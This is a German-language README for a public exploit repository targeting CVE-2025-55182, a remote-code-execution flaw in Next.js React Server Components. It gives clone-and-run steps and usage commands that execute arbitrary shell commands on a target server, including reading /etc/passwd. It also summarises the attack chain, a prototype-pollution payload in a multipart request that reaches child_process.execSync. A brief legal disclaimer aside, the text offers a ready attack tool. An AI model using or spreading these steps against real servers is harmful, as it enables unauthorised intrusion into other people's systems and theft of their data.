React2Shell Exploit (CVE-2025-55182)

Python-Exploit für die RCE-Schwachstelle in Next.js React Server Components mit HTTP/HTTPS-Unterstützung.

🚀 Schnellstart

# Klonen & ausführen
git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git
cd react2shell-CVE-2025-55182
python3 exploit_react2shell.py <URL> "<Befehl>"

📖 Verwendung

# HTTP
python3 exploit_react2shell.py http://target.com:3000 "id"
python3 exploit_react2shell.py 192.168.1.100:8080 "ls -la"

# HTTPS
python3 exploit_react2shell.py https://target.com "whoami"
python3 exploit_react2shell.py https://target.com:8443 "cat /etc/passwd"

✨ Funktionen

✅ HTTP- & HTTPS-Unterstützung
✅ Intelligente URL-Analyse (automatische Protokollerfassung)
✅ Animierte Ladeanzeigen für bessere Benutzererfahrung
✅ Raw-Socket-Implementierung (keine Abhängigkeiten)
✅ Automatische Ausgabe-Extraktion
✅ SSL/TLS-Unterstützung für sichere Verbindungen

⚠️ Rechtlicher Hinweis

Nur für autorisierte Sicherheitstests.
Verwenden Sie den Exploit ausschließlich auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich die Erlaubnis zum Testen haben. Verwenden Sie ihn niemals für illegale Aktivitäten.

📋 Anforderungen

Python 3.6+
Keine externen Abhängigkeiten

🔧 Funktionsweise

Analysiert die Ziel-URL (unterstützt http://, https:// oder kein Schema)
Stellt eine Raw-Socket-Verbindung her (mit SSL für HTTPS)
Sendet eine maßgeschneiderte multipart/form-data-Anfrage mit Prototype-Pollution-Payload
Löst RCE über child_process.execSync() aus
Extrahiert die Befehlsausgabe aus der Serverantwort

🐛 Fehlerbehebung

Verbindung abgelehnt: Prüfen Sie, ob der Server läuft
SSL-Fehler: Das Ziel könnte Zertifikatsprobleme haben
Zeitüberschreitung: Der Server könnte langsam sein – erhöhen Sie das Timeout
Numerische Ausgabe: Die Befehlsausgabe könnte abgeschnitten sein

📄 Lizenz

MIT-Lizenz – siehe LICENSE-Datei

Haftungsausschluss: Nur zu Bildungszwecken. Holen Sie stets die entsprechende Genehmigung ein.

Zuletzt aktualisiert: 8. Februar 2025
Version: 2.0.0
Betreuer: BrianLopezM99

react2shell-CVE-2025-55182

Beliebteste